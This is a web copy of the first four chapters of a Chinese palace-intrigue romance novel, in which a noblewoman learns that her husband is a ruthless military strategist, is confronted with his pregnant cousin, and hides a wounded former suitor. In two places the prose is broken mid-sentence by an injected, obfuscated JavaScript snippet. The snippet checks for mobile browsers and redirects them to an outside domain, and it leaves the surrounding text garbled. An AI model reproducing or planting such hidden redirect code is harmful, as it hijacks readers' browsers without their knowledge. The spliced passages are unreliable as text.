《盈珠衔鹤》 1. 第 1 章 上元佳节夜，落雪纷飞，鹅毛般雪片落在锦安京的各坊巷街口，尺厚的铺了一层。才酉时过半，几乎家家屋宅紧闭，不见烟花爆竹。 若在往年，这会儿王公贵族们早就锦衣华服前往午门，去观赏宫中举办的元宵灯会了。还有市井里热闹非凡的杂技、卖艺、小摊等活动，叫人逛得目不暇接。 但这半年多京城不太平啊。 去岁九月皇帝突然呕血驾崩，不到一个月，赵王杀了太子，自己继位当了皇帝。 又不到一个月，其余几王纷纷效仿之，也都相继率着兵马叛乱起来。整个锦安京的城内城外，今儿杀，明儿屠，数月来弄得人心惶惶。 本以为江山必是被纪王拿下了，毕竟纪王生母是贵妃，母家有后盾，纪王正妃又出自门庭赫奕的昌平侯府嫡女，纪王当皇帝亦能服众。 谁晓得呢，远在西北驻关多年的不受宠的恒王，却忽然使出“螳螂捕蝉黄雀在后”的狠招，将其他几个杀红眼的王爷来个瓮中捉鳖一网打尽。 今儿虽是元宵，可也挡不住兵荒马乱。傍晚隔壁坊巷放火烧杀，听说恒王的军队把纪王侧妃的娘家阖府屠尽了，连只禽畜都不放过，风声传开，吓得没个人敢出外走动。 而扶持恒王、给予恒王充足粮饷的将帅头领兼军师，传闻竟是沈姳珠成亲七年的郎君，右佥都御史谢宗焕。 都说恒王的军师面罩铜盔，杀人不眨眼，手握百官生死簿，凡有关联在册者，均勿论男女老少全部斩无赦。经过他手的人命堆砌如山，淌血成河，提到他便叫人毛骨悚然。 沈姳珠是万万没想到，这样一个阎罗，竟能与自己昔年那衣冠楚楚、龙章凤姿的探花郎夫君联系在一起。 但事实的确就是这样，她在谢府里被围困了整月，只在半个时辰前才刚从小姑子嘴里得知的。 不仅她被围在谢府，她的父族沈家也都通通下在监里，姑母家更是被重兵把守危在旦夕。 一切只因了她父亲鸿胪寺卿沈家，还有她母亲身后的褚家，钱资巨富，家财万贯，人人觊觎。 而她姑母家的女婿，正是纪王正妃的兄长——昌平侯府世子萧琚，与纪王素来关系紧密，是纪王的谋臣。 兴许在外人看来，纪王起兵的资本也有他们沈家的舔砖加瓦，如今纪王党羽被恒王灭尽，那么沈家与姑母家也该轮到秋后算账了。 谢宗焕可有准备顾念夫妻情分，莫非要将她赶尽杀绝么？ 呵，她知他一直以来就有野心，对权势的野心，对地位，对朝堂的灼热。 而这桩门第悬殊的婚事，他除了贪眷她姣好的肉’体，在床笫之欢极尽缠绵激烈，多少还是有几分情意在的……恍然知，原来他已对她淡薄至此了。 沈姳珠想起疼爱自己的族亲，坐在锦缎软椅上的身姿，忍不住便瑟瑟发抖。她是连京城都未迈出过的妇人，安稳惯了，几曾经历过这些？ 沈姳珠兀自端着当家主母的素日风范，以免叫旁人看出来。 今夜若能等来谢宗焕回府，她必要当着他，豁出体面为娘家求情，不知他愿否赏脸。 可她是万没料到啊，尚且未见到他人，他却已经先行给她送来了份大礼—— 那与他青梅竹马两情相悦，比他年长一岁的守寡表姐，陆绣茹。 * 谢府人口不多，满打满算三进院，然而房梁瓦檐、雕廊画柱，装饰得格外别致，可见府里掌事的家主应是个考究人。 已近戌时，花厅里烧着红罗炭，暖意融融的。 大凡锦安京里，家底能匹及沈、褚二氏的府邸，入冬后主厢房里烧的多是一等的银霜炭、金丝炭。 倘若炭烧得不够上等，莫说被客人们传出去遭嗤笑，就是府里自家的奴婢，眼里也流露出几分轻看。 世家大族比得是对外的门脸，奴婢们也拿家主的开销用度做为衡量，家主若酸抠，那是压不住场的。 沈姳珠向来用惯了一等炭，刚嫁到谢府后，起初烧的也是银霜炭，入冬后按照在娘家的经验，一批次买来两千斤。奈何婆母庄氏口呼“养不起这般娇贵儿媳”、“怕是将祖上薄产都用来给她挥霍空了”，楞心疼得几顿喝糙米稀粥，不舍得配菜。 那时沈姳珠年轻单纯，只想着这是用自己银子买的，有何不可？ 但她娘家母亲、姑母劝说她，嫁夫随夫，宗焕是御前钦点的新科探花，祖上便有微产，到底没落为庶族，须顾及他们的生活习惯。让她将就退让退让，婆媳也好和睦相处。自此，沈姳珠便换做了次等些的红罗炭来烧，就算要买需用之物，也总是给足婆母庄氏的架势体面。 凡此种种，她嫁入谢府之后，伏低顺从、包容将就，只为了做个外人眼里的贤妻孝媳。 虽然起初动情是因落水相救，可在数年的婚姻中，却早已将他视为郎君刻入心扉，温良淑德地操持内宅，想与他白头偕老。 而他的心里可有盛装她？竟换来了今日这般局面。 …… 窗外落雪窸窣，鹅毛般席卷着夜色，隐约还可听见拔剑踏马而过的震响。花厅里却暖和，架子上的两盆名贵牡丹因着暖意，散发出阵阵沁人的幽香；嵌绿宝石琉璃鱼缸里的小锦鲤，也欢快悠然地摇摆着。 众王争权夺位，京都一片肃杀。今年庄氏五十岁寿，为了应个好景，沈姳珠腊月里便托人去城外买来这两盆牡丹，还有一尾新鱼缸。 对联灯笼不敢挂，关起门来府邸里至少该有过年的氛围。 原本她只当给出去的银子足够多，才能轻松将东西买回来。此刻想想却讽刺，只怕是谢宗焕给她私下放行了，他对她的掌家用度从来听之顺之，缄默纵容。 或者在他的心目中，她从来就是个精美摆设，也不知当年他娶她何意？ 沈姳珠让贴身婢女把门扇打开来一道缝，冷风从缝隙里吹进，她好保持思路冷静。 婆母庄德兰盘腿坐在正中的罗汉榻上，呷了口桃花酒，谄笑道：“儿媳坐了有一会儿，何故不言语，快说说这事你打算怎么安置？” 旁侧的花梨木茶座上，坐着小姑子谢芸香，还有谢宗焕那个守寡的表姐，陆绣茹。 谢芸香一副马上就要飞黄腾达、封侯进爵的得色，表面假装为难，实则眼里的意味分明是挑衅看好戏。 但见陆绣茹生得白净秀巧，柳眉柳眼的，应该二十九了，因着骨架弱，形容柔纤，看着却略比实际年轻些。 沈姳珠过了年二十五，端雅娇贵艳若桃李，再加上这几年掌家主母的历练，气场堪堪把她强压过。 听姨母庄德兰说完话，陆绣茹连忙谨慎地抚了抚少腹，戚戚地抬起眼帘。看了眼上座的姨母，还有旁边金枝玉叶般的正室夫人沈姳珠。 沈姳珠斜眼余光瞥见她隐约起伏的肚子，心底瞬间凉透了——她倒是不知，谢宗焕原来喜欢的是这类单薄姿态。 联想到深夜情浓时，他每每像只饿狼犬，贪婪地宠爱自己最丰柔姿色，她心里就直泛呕。 早知他中意的是陆绣茹，何故枉费她下嫁清寒？何故当年丰神俊逸，夺人风采，惹她好奇？ 沈姳珠只是泰然地端起玉瓷茶盏，抿了口碧螺春。 “母亲站着说话不腰疼，要儿媳我说什么？你口口声声京城不太平，物价飞涨，劝我来日方长，有钱也要省着花。眼下这个春节，旁的府邸省吃细用，一两肉分作三盘炒，是我从私房体己里挤出的银两，让府上新添了节庆家私，让母亲喝上桃花酒吃上卤鹅炖肉，还给每个下人都派发了过年红包。现在却又说要安置个外人了，您倒是觉得如何安置，以什么名义安置？” 这…… 一席话听得庄德兰哑口无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆绣茹是庄氏的表外甥女，她早故表姐所生，幼年寄养在庄氏身边，本来就是有意配给谢宗焕成亲的。 谁知道宗焕殿试钦点探花郎，娶了鸿胪寺卿家的千金沈姳珠，魂儿都被她勾去了九成。从前分明看见女子目不斜视，清贵自持，后来却是夜夜春-宵合欢。 若是夜夜春-宵能生儿育女也就罢了，偏偏只有入的，没有出的。 儿子的精髓都堪堪被吸去了，折寿则个。 最后寿倒是没折，官品也节节攀升，可那都是她儿子宗焕有本事，真才实干，擅于经营，没沾儿媳半点好处。反而成亲多年，谢氏的香火都快断了。 今夜吃完晚饭，庄氏的本意是，让沈姳珠跪在牌位前诵经祈福，守个长夜，祈祷郎君能平安归来，夫妻早日再度阖房，也好为谢家诞下子嗣。 乍听谢芸香说起经过，宗焕还把有身孕的绣茹领回来了，真个把庄氏又惊又喜。 祖宗庇佑啊，自此宗焕从龙有功，必能当上手握朝权的重臣。 那便是花不完的银子，炫不尽的阔绰风光了，绣茹再多怀上几胎，庄德兰从此翻身，再不用看儿媳的脸面讨生活。 但此刻不好做得太过，庄氏便假意揩起袖子擦擦眼角，哀怜道：“阿茹这苦命的女子，当年宗焕娶了姳珠，我才不得已把她远嫁给一个西北郎将，早早枉她守了寡。若与宗焕顺当成亲，现如今怕是家里满地的娃儿跑了。她倒是温婉贤淑，吃得了苦中苦，从不抱怨，这三年多来宗焕调任西北，绣茹给他起居照拂，也是该接到京都来，好好享享福。” “何况还怀有骨肉，那不得赶紧接回府中，小心在外头颠着了我大胖孙儿！儿媳你说是与不是？反正你又不能生。”庄氏语气顿重。 听到“大胖孙儿”几个字，陆绣茹张动了嘴角，到底掖着没吭气。 谢芸香便扯出一笑：“母亲惯会避重就轻，若是能轻易接回来，兄长何用将人放去我那里寄住？还是要看嫂嫂肯不肯接纳绣茹表姐的？” 言毕，往沈姳珠方向虚虚一瞥。 成亲七年，大半的时日两地分居，以为他忙于公务，原来却与那青梅竹马表小姐长相厮守，现在反怪她不会生？ 沈姳珠强忍着胸腔不适，紧了紧掌中的细罗手帕，冷讽含笑。 2. 第 2 章 说起来，沈姳珠竟是第一次见这位传说中的表小姐呢。 陆绣茹。 她在谢宗焕调任去西北之前，听都没听说过这个名字。 还是近二年来，才偶有从庄氏母女口中提及。但每次提都遮遮掩掩的，看见沈姳珠出现，便有意无意戛然而止。 沈姳珠平日被庄氏的作派扰得够呛，还要应付他们谢家、庄家前来打秋风的各种亲戚。 婆母庄氏好面子，自认为儿子考中探花郎，当上京官，便是出人头地祖坟冒青烟。在亲戚族人面前夸下了海口，惹得一众乡邻吹捧，三天两头就上门要这借那的。 沈姳珠不胜其烦，对她们欲言又止的话题，躲都来不及，便未曾去质疑。竟没料到，一朝见面，已是怀着身孕的陆绣茹赫然坐在自己对面了。 你说这世间事可笑不可笑？ 成亲那年，谢宗焕刚入职翰林院七品编修，他忠孝事亲，与寡母、妹妹住在开明坊的小二进院里。 从头到尾就没见过陆绣茹的身影。 可见庄氏为了迎娶沈姳珠进门，匆忙仓促间，将原本有情有意的表姐弟俩拆散，打发给了西北郎将。 现在却将过责算在沈姳珠头上，赖她耽误了陆绣茹与谢宗焕的亲事！ 想当初沈姳珠十八岁，青春靓丽，珠簪宝钗，正是大放光彩的年华。 初遇谢宗焕时，春日四月，京中新科才子云集。她姑母在自家府上办游园赏花会，把他们都请了来。大概也是为了给自家的千金相中一门女婿，每届的科考放榜之后，京中各家皆热衷于此项活动。 姑母向来待沈姳珠极好极珍视，宠得分量比亲闺女还重要，而表姐郭郦涵亦是十分爱护着沈姳珠。这就使得在姑母的宴会上，她便仿若众星捧月般的耀眼主角。 而那时的谢宗焕，不过穿一袭青袍，屹立于人群中，一眼就辨出他新颖的寒门清冽感。 他生就一双黑曜石般的凤眼，漆黑似墨，如刃如炬，和周围养尊处优的世家贵子多有不同。仿佛在那修逸的躯壳里，藏着不可探测的隐匿力量。 偏偏沈姳珠少见多怪，甚觉稀罕，心尖忍不住悸动了数次。 后来不知怎样，她被湖里的金鱼吸引，不慎落入水中，又恰是被谢宗焕一臂托起。 虽四月转暖，春水却凉，那薄薄春裳遮不住寒意，她下意识往他怀里钻紧。衣裳被水中植物划破，隐约洁白肌肤可见，那柔软丝滑的腰肢贴得无隙，女子幽香弥漫。 那一瞬间，近在迟尺的对视，沈姳珠确然在他眼中望见了自己。她脸颊通红，皓腕无从安放，只得假装搂住他脖颈晕过去。 彼时宫里来了人，众目睽睽之下如此相贴，婚事便在情理之中。 却何曾想过，也未听说，他原来竟另有心尖痣呢。 婚后的谢宗焕，与她沈家、姑母家关系不疏不淡，母亲和姑母还总是帮着他说好话。 沈姳珠知道他有野心，他结交宦党，机关算尽，飕飕地往上爬，短短三年余便以惊人的速度，出其不意爬到了从四品官。 名声亦渐渐狠厉浑浊，但同时，置换了更好地段的三进院落，平日俸禄也都交于她掌管，尽他之力满足日常生活。 三年前，司礼监掌印意外身亡，谢宗焕失了靠山，被派去西北监管粮饷征用。朝中都传说他明调暗贬，实则在圣上跟前失宠，怕是难再起复。 婆母庄氏着急子嗣，本来怂恿沈姳珠随同调任。可沈姳珠自小怡然安居京都，锦衣玉食的养成，几曾去过那荒僻之地？ 她内心反复矛盾，姑母则劝说她留在京中，瞅准时机为谢郎君打点维护，好能早日再调回来。 沈姳珠想想确是，便拒了不去，而后谢宗焕便独自赴任了。 夫妻多年，本来话就少，只在床笫之间，方能感知到那爱意涌涌抵死缠绵的相融。他出身庶族，大抵素来所受到的拘束少，在床-事上便很是肆意野犷。 对于世族千金的她而言，这种感觉分外陌生，像在那汹涌的床帏冲击波浪中，娇矜与羞耻亦此起彼伏，毫无保留地对他敞开，沈姳珠曾被那野犷征服过。 调任西北这三年多来，两人却几乎不关切过问对方，亦鲜少书信来往。 沈姳珠掌管着谢府，平日忙碌，便渐渐淡了风花雪月之心。 这中间谢宗焕只因公回京过一次，而那夜的他格外沉迷狠烈，只在帐内将她弄得娇颤淋漓。沈姳珠滩了一床，泣泪求饶，谢宗焕却如若未闻，只将她用力扣得更深更紧。 她原以为是久别胜新婚，不成想，他身边早已有了白月光照顾。那么他当她是什么？那样对待她又为哪般？是吃惯了野花野草，回来惦记她这盘珍馐家宴了？ 此刻想来，谢宗焕赴西北任右佥都御史，或是一早便做好了与恒王夺权谋位的打算。 朝堂复杂，京中官员站队不同的王爷本是寻常，但他明明从起初就知道，沈家与纪王、昌平侯府的关系交好。 尤其纪王的正妃——昌平侯府嫡女萧琴，正是沈姳珠的好闺蜜；而姑母的女婿——昌平侯府世子萧琚，还是纪王的谋臣。 他若站队，也理应站队纪王才是。他却暗中仍与恒王商榷夺权，并且这些年来从未表露过一丝迹象。 好个深渊般的阴厉城府啊，让人揣测不透！ 沈姳珠睨了一眼谢芸香，凉薄道：“婆母和小姑你们想说什么，说让我纳了陆绣茹为小，呵护她生下腹中骨肉？那么当初娶亲时，谢家当着我双亲之面，起誓此生唯有我一名正妻，绝不纳妾的话，莫非自食其言？” 反正儿子马上就要权倾朝野，以他的能力和姿容还愁新婚？ 庄氏念着香火要紧，干脆把老脸一横：“当年是当年，当年我们也不知道你生育无能啊……再则说，当年你父亲高官厚禄，亲族显赫，现如今呢？时过境迁，我儿马上当权，亲家却被关着，哪还能再一样？我是说过唯你做正室夫人没错，可你就抬抬手，让绣茹进门做个平妻好了，这又不难。” 陆绣茹连忙哭道：“沈夫人您就大发慈悲，将妾身留下吧。我年岁已长，样貌并不及你，不敢奢想那么多，只愿留在府中把孩子生下来，孤儿寡母有个栖身之处。你若不嫌弃，我愿唤你一声姐姐，从此给宗焕和你做牛做马都甘愿。” 沈姳珠要么瞥开眼不瞧，瞧了便扎心。庄氏说话更叫人扎心，这母女俩翻脸不认，怕是忘了这些年她贴补过她们多少好东西。 可她现在还有软肋，有求于人。 沈姳珠昂着下颌，哂了哂唇角：“我介意。” “我可没说不介意。你们想让她进门可以，正妻平妻随便安排，但若领回来就和离。让郎君当面来和我说，婆母还不够格在此要挟。” 她说罢心灰意冷地站起身，拂过织锦长裙走了出去。 花厅门外夜雪纷飞，将夜色衬得忽明忽暗。沈姳珠将纤莹的手腕收进长袖里，打了个寒颤。她肌肤如雪，娇媚无暇，亦是十分惧冷的。却一个人立在风雪中，仿佛尘世间只剩了自己在钻营。 大丫鬟琳琅站在旁边，体恤地问道：“夫人打算怎么办？不如等郎君回府，再亲自问个清楚，怕是误会。夫人已是盼望他许久了的。” 琳琅是沈姳珠的陪嫁丫鬟，跟在身边数年了。在琳琅看来，她一直以为夫人和郎君感情和睦，甚为恩爱。 尤其每每郎君在家时，那隔着门扇都能听见的旖旎动静。而对比琳琅在京都贵女们的宴会上所闻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691570|173376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八卦，分明夫人与郎君应是极为融洽。而且谢郎君的目中除却装着夫人，旁的女子再如何明眸善睐，他也不屑关注，会不会其中有误会？ 这三年多来分居的每个日夜，沈姳珠的确对谢宗焕朝思暮想，他有着令人叹服的惊才风逸，也有着野心锐利的不择手段。沈姳珠从前记着母亲的教导，嫁夫随夫，温顺持家，哪里能料到这般结局？ 想想花厅里那个或许正在嘤嘤可怜的女人，痴心已死。 她岂是不能生？起初她血气鲜活，是庄氏抠门奇葩，想要煮汤讨好儿媳，却在黑市上贪省几文钱买了假的炖补药材，结果吃得沈姳珠中毒伤身，大夫说至少需要调理两年。两年后，谢宗焕却又调任去了西北。 不过幸好如此，省得今时今日，委屈受累的还要多出一小儿。 沈姳珠闻了闻身上不知哪来的香味，便嫌恶道：“命灶房备水沐浴，我暖暖身子，洗浴完毕换身衣裳，便直接睡下吧。” “是。”琳琅犹豫着点头。 待琳琅命人将浴缸盛满，撒上珍珠粉、花瓣与果露，沈姳珠便让人都退了出去。 嘱咐琳琅说，她今夜谁都不见，让琳琅在外面守着，谁也别放进来。 琳琅跟在她身边许多年，忠心体贴，年龄也二十三了，沈姳珠教她如何掌管府内事务，历练得十分精干。 往常这种守夜的活儿只叫别的婢女，并不劳动琳琅，都让她去歇着。沈姳珠还打算若是遇到可信可靠的，便放了她的身契，让她出府嫁人。 但今晚沈姳珠须得好好睡个安稳觉，没准明日醒来，需要自己一个人应对谢家几口。而沈家和姑母家的族亲，都被重兵把守命在旦夕，她须拿陆绣茹身份做为谈判的筹码之一。 她别无可依，别无选择。 温热的水划过冰凉的肌肤，五感逐渐回缓过来，沈姳珠抚揉着肩膀，紧绷的心口被暖意化开，强忍住的眼泪终于逐渐溢下。 母亲在她婚后次年便去世了，她还记得成亲回门当日，母亲拉着她的手，又拉过谢宗焕的手，谆谆叮嘱说，让他要好好照顾姳珠。她从小娇惯又挑剔，未识过丁点苦，平日什么也不用操心，就只出嫁后，要开始操心姑爷你和亲家谢府了，我想想就好生心疼。但锦翊你别纵着她，为人妻子，旁人家的媳妇该如何便如何，她这般娇矜也是要学着改改的，你只管放心。 锦翊是谢宗焕的字，曾经沈姳珠多么喜欢这个字，像鲜明华丽的羽翼，又可谦恭稳妥，分明是做郎君的首选呐。 彼时谢宗焕立字据保证，此生唯以姳珠为心中珍宝，足她富贵，成她所愿，护她所有。他书写得笔精墨妙，叫她甚为赏心悦目。刚体验过新婚的奇异，感受到那甜蜜，沈姳珠连撒娇让母亲别说的声音都娇滴滴的。 对比现在，她的泪珠不觉沾湿满面。 沐浴完毕，她取来旁边的蚕丝睡裙系上。她独睡怕冷，又习惯了穿薄衣就寝，厢房里炭用得多，暖和舒适如春。 忽地指尖动作一顿，却瞥见角落里一道笔挺的背立身躯，颀长俊朗，宽肩窄腰，仿若天然而生的世家隽贵。 沈姳珠心弦发颤，顿时听到了府外凌乱的兵马嘶叫声。她认得这是自小一块长大，本该险些成为她夫婿的、好闺蜜的兄长，萧琚。 她便压低声音唤道：“萧大人，暗处可是你吗？我穿好了，你转过来吧。” 的确是昌平侯府世子萧琚，但向来周正大雅的他今夜容色苍白，肩膀处受了箭伤，黑浓的血水从伤口处渗透出来，将一袭锦袍染开。 萧琚捺住痛意，应道：“谢御史怕已追杀过来，我前来此地，意与姳珠妹妹告个别。怕是……再迟便没有机会了！”末了的那句停顿，听得出隐抑的眷恋。 3. 第 3 章 昌平侯府是锦安京首屈一指的簪缨望族，可谓名门显赫，人才辈出。府上走出来的个个皆气度非凡，是令人景仰的存在。 沈姳珠与侯府二小姐萧琴一块儿长大，萧琚贵为侯府世子，打小爱护妹妹，便兼带着把妹妹的好闺蜜姳珠也照顾上了。 从前姳珠还在上女学时，萧琚若给萧琴送茶点，必然为她也精心备上一份；雨天路滑，他从国子监顺道，必亲自用马车将她护送回府。这些事儿，萧琚从她五六岁起，一直做到了十五六岁。 便是连蜜蜂不慎蛰了她指尖，他都记着往她府上送一盒膏药。诸如此种，不胜枚举。 沈姳珠生得粉腮莹润，明艳娇媚，雪一样的肤容，仿佛琼宇之上厌染尘埃。她从记事起，便习惯了被众星捧月，对于萧琚的照顾，起初只觉得自然而然，理所应当，并无多想。 却是在她及笄之后，萧琴在旁边见她还未开窍，便终于看不下去了，将做哥哥的心思悄悄透露给了沈姳珠。 沈姳珠虽后知后觉，然而心思却是通透的，几番留心观察之后，果然注意到了萧琚不一样的关切。 可她……似乎并没想好呀。 萧琚光风霁月，天人共鉴，他在京城清誉斐然，有着天生的世家贵子风范。即便对外沉冷倨傲，私下里得多少女子仰慕，他都从来目不斜视，只有对着沈姳珠的时候，才体贴周到，放低姿态千依百顺。 沈家双亲是颇看好他的，等到姳珠及笄之后，便极力撮合她这门亲事。不仅如此，昌平侯府的长辈们也都欢喜极了沈姳珠。 沈姳珠家底优渥，父亲在朝中任正四品鸿胪寺少卿，母亲娘家褚氏财富万贯。但许多人都晓得，她家是从低等商户一步步做织布纺纱起家的，介于这一点，在看重门第底蕴的真正世族眼里，未免有着铜臭味道，并算不得联姻首选。 可昌平侯府显然不计较哇，平日看着姳珠和萧琴一块儿玩耍，那人品性情是知根知底的，巴不得早早将娇矜千金娶进侯府来。 唯沈姳珠自己觉得太过于熟悉了，熟悉得就彷如自家兄长一样。她恃美而骄，擅于耍弄些不当紧的小心机，即便发现萧琚投过来的柔情殷切目光，也只当做未看到。 不慎落水那一次，萧琚只比谢宗焕稍晚了半瞬跳下湖来。而沈姳珠在那电光火石间，忽然想到若这回被萧琚哥哥救起，应该马上就要与他结为夫妻了，她还没做好准备呢。凌乱之中，沈姳珠便将手伸向了新颖的探花郎谢宗焕。 对于此事，她母亲一直叹惋，萧琴也感到很为闺蜜和哥哥遗憾。然而都知她的性情，自小便是变化多端、随心所欲，猜测不透的，便尊重她的选择。 而起初的沈姳珠，沉浸在与谢宗焕的瑰妙欢-情中，满满地溢出着幸福。那种幸福甚至都瞒不住分明落寞的萧琚。 萧琚后来在阴差阳错下，娶了姑母家的表姐郭郦涵，谁料未满半年，郭郦涵便与姑母后宅马厩的马夫私奔了。 萧琚对此并未追究，却再没续过弦，对待沈姳珠也一样如昔日妹妹那般照顾。 * 府门外的街巷里马蹄声震动，沈姳珠忽然意识到，傍晚恒王军队既然血洗了纪王侧妃的娘家，想必这一轮应该屠到正妃的娘家昌平侯府了。 她身上已经披了件银丝珊瑚红外罩衣，随手取来的一件，并未注意到衣襟开口偏低。只盯着阴影里的萧琚走过去，颤着声问：“那萧琴……她还好吗？” 萧琚面朝向她，不忍看她娇养的面容浮现出悲伤。他身量修长，俊颜苍白，以往的尊崇变得寂寥狼狈，喑哑道： “纪王败落，萧家被屠府了，包括全家老小……谢御史城府难测，手段残绝，主张斩草除根，不留后患。萧琴为了护住两个年幼孩儿，拼命用背抵住门，被乱箭射穿了！我因念及岳母病重，弄了药剂送过去，早出府半步，遇家奴仓惶告知，故而堪堪艰难夺命逃出……这是二妹留给你的。” 男子咬紧嘴唇，从沾血的胸口吃力掏出一枚手绢。 本该是一方精美斜纹提花的丝绸手帕，因浸润血渍而显得暗红。沈姳珠愣怔接至手中，她从未想过会有这样的一天，忽然面临着突兀的死亡告知。 像是一种无可扭转的割裂抛弃。 当年母亲病故前已经耗了许久时间，那时的沈姳珠便是悲恸，却已有心理准备。然而这，蓦地，她最好的蜜友便如此凄惨地同她告别了。 痛下屠刀的竟是自己成亲多年的丈夫！ 她哆嗦着打开手绢，但见上面的字迹：少小携尔之手，朝夕二十五载，有过欢喜与忧愁，但能得你为友，是我之幸福。仓促告别时，回望前生，终还是羡慕过你，有过勇敢，顺从心中之选择。无数言语，化为珍重，争权无论对错，忘却勿念。 手绢里面还包裹着一对儿“玛瑙”耳环，在烛火下闪烁着盈盈轻俏的光泽。 她与萧琴是同年生的，萧琴月份比她稍大两个月。那年及笄，说好一块去买副首饰做为纪念，马车行至半路，却被路边的摊贩坑骗，花五两银子买了两副假玛瑙耳环，回家才知是蜜蜡做的。 两人皆被家中长辈取笑，又商量说，相约以后每过十年，都要定制一对，直到垂垂老矣。 谁知马上十年将至，却忽然再无机会了。 沈姳珠看着摇摇泛光的耳坠，眼泪汹涌夺出：“谢宗焕这个恶魔，他竟是连我最好的闺蜜都不肯放过，我做错了什么，上天要对我如此赶尽杀绝？” 萧琚伸出手来，想抚上她脸颊，半途艰涩一忍，没有答话。 他执着地抬起眼帘，直视沈姳珠，这些年一直以她姐夫的身份相处，习惯了迫于保持距离的照顾。 只这会儿性命危矣，他那眼神便仿佛回到了数年前，还是青葱年华时候的爱眷：“对不起，是我来让你难过了。手绢是二妹的遗物，但诚如她所言，成王败寇，何谈对错。我来，亦是出自私心，想在死之前再见你一面……当年，谢夫人你落水，若非我分神晚了一刹，我定要将你救上来。或许这些年，我也不会忌着他是你的丈夫，而对他多有犹豫，也便不会出现今日这番结局！” 他宽肩下的伤势因着吃力言语，变得更加严重，黝黑的血水往外不停渗透着，痛得他龇起牙身躯微晃。 沈姳珠连忙打断他说话，急迫道：“萧大人莫要再多说，你就藏 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打头的是一名坐在高头大马上的年轻军师，但见谢宗焕发束玉簪，身着墨紫色鹤纹常袍，金线压边，宽肩窄腰。那隽贵脸庞上，挺鼻薄唇，格外冷静肃杀。 他跳下马，立即有副将上前禀报。 谢宗焕睨了眼紧闭府门，低声问道：“人呢？他跑到我府上了，消息可属实？” 副将拱手抱拳：“千真万确。只是萧大人去了夫人的卧房，属下察觉夫人正在房内沐浴，便不敢贸然闯进去。” 有点欲言又止的难堪。 谢宗焕体格魁伟，雪夜下他清俊五官卓绝，耳鬓还沾着不知哪儿溅到的血腥。一缕莫名的缱绻，从他看向门前时涌起，却听得眉宇忽蹙，面色蓦地沉冷。 自去西北赴任三年多了，与沈姳珠聚少离多，却从未忽略过对她的关注，每隔一月便给她寄信寄物，她从未有过回应。他只以为必是忙于后宅，自我宽解。 京中一直有她这般那般的传闻，传她不甘后宅，对人莞尔发笑，惹来青年学子惦念；传她恃美而骄，恣肆言行，与那青梅竹马礼部郎中萧琚暗度陈仓。诸如此类，件件刺耳，可谢宗焕始终置若罔闻。 却没想到竟是真的，就连这样危迫时刻，那萧琚都要不顾一切与她相会！ 卧房、沐浴…… 谢宗焕心口重重一抽，只是按捺着修为，步履如风般往府内踅进。 花厅里，庄德兰与谢芸香母女俩听见火把滋滋响，兵卒的步履沉厚，连忙刷地便把门扇打开来。 祖宗保佑。 庄氏更是急切得连鞋子都忘穿，光着脚就溜出来了，望见儿子威风凛凛，令人不容仰视，立时满脸都浮上骄傲。 本来他家谢氏就该是将门出身，后虽落没，但到宗焕这一辈，打小聪颖勤学，请了教书先生，御前钦点考上了探花郎。 现如今，又不过二年没见，却瞧瞧，俨然已是只手遮天的权臣风范也！ 庄氏欢喜加上崇敬，连忙贺道：“啧啊，还得是我儿能干。听说你要当爹了，为娘在此先恭喜你一把！” 当爹？ 谢宗焕吭了吭嗓子，容色不变，面无表情听母亲说完，更加大步凛冽朝着后院走去。 4. 第 4 章 庄氏倒也没想把沈姳珠逼上绝路，毕竟与沈家做了一场亲家，亲家的为人她是看在眼里的，找不出茬子。 可恨是那通政使郭府上的沈家姑母，仗着三品大员，冷眼觑人，当面一套背后一套，惯常虚伪势利，让庄德兰多年不痛快。偏偏姳珠却与那姑母感情亲厚如母女，你说可气不可气？ 这次儿子谢宗焕勤王有功，庄德兰当然要趁机扳回来一局，也仗势欺人吐口恶气，给姳珠和她姑母点儿厉害颜色瞧瞧。 没想到啊，沈姳珠竟然提出了和离？宗焕对她死心塌地，不过就是纳个守寡的表姐而已，她竟说得出口和离这二字？ 但见儿子步履急匆，庄氏连忙回屋笈上缎鞋，小跑着跟上去嚷道：“我儿回京已一个多月，如何也不提前知会？这些日子，为娘听说恒王把纪王打得连连败退，心里慌得彻夜难寐，唯恐纪王一倒，那亲家和郭家就得连累咱家一起上断头台。要是早知恒王的军师是我儿，我也好能早早安下心来！” “可叹你房中媳妇姳珠忒不懂事理，听说你要当爹了，竟对我放出狠话，让你回来与她商议和离？谢家好容易续上香火，你说她这般心狭狠毒，岂是官家贵女应有的做派？” 三年多前，纪王贪赃江南筑渠款之证据浮现，眨眼司礼监掌印死于非命，纪王转身求请父皇为掌印之死调查因由。皇帝隐而不发，却将谢宗焕调任西北右佥都御史，这中间他只回京过一次。 已经两年没见姳珠了，她是如何让他当的爹？ 谢宗焕拂了拂袖，侧过身看向母亲，捺着冷愠道：“今夜有要事当前，其余诸事母亲且等我忙完再商议！” 几步到达后院，看到那扇他朝思暮想的厢房门内，果然亮着黄暖的灯光，谢宗焕步子稍滞，命人围拢上前。 琳琅正靠坐在夫人卧房旁边的小耳房里，一边抱着暖手炉发呆，忽从窗口瞥见气势汹汹而来的兵马，惊得差点把暖手炉砸到了脚。 发现是郎君一袭紫黑锦袍站在中央，琳琅连忙冲到廊上，伸开双臂拦阻道：“郎君莫怪，夫人嘱咐奴婢今夜在这里守着，她要早早歇息，谁人都不见。” 话说着，瞅见郎君肩膀上溅的殷红血点子，像是挥剑割喉时所喷溅，琳琅忍不住打了个寒颤。 她依然记得当初与夫人成亲时，郎君风骨峭拔，容姿清绝，有如鹤立鸡群卓尔不凡。如今七年已过，他气宇历练得愈加沉稳，却也更令人心惧了。 孤男寡女，早早歇息…… 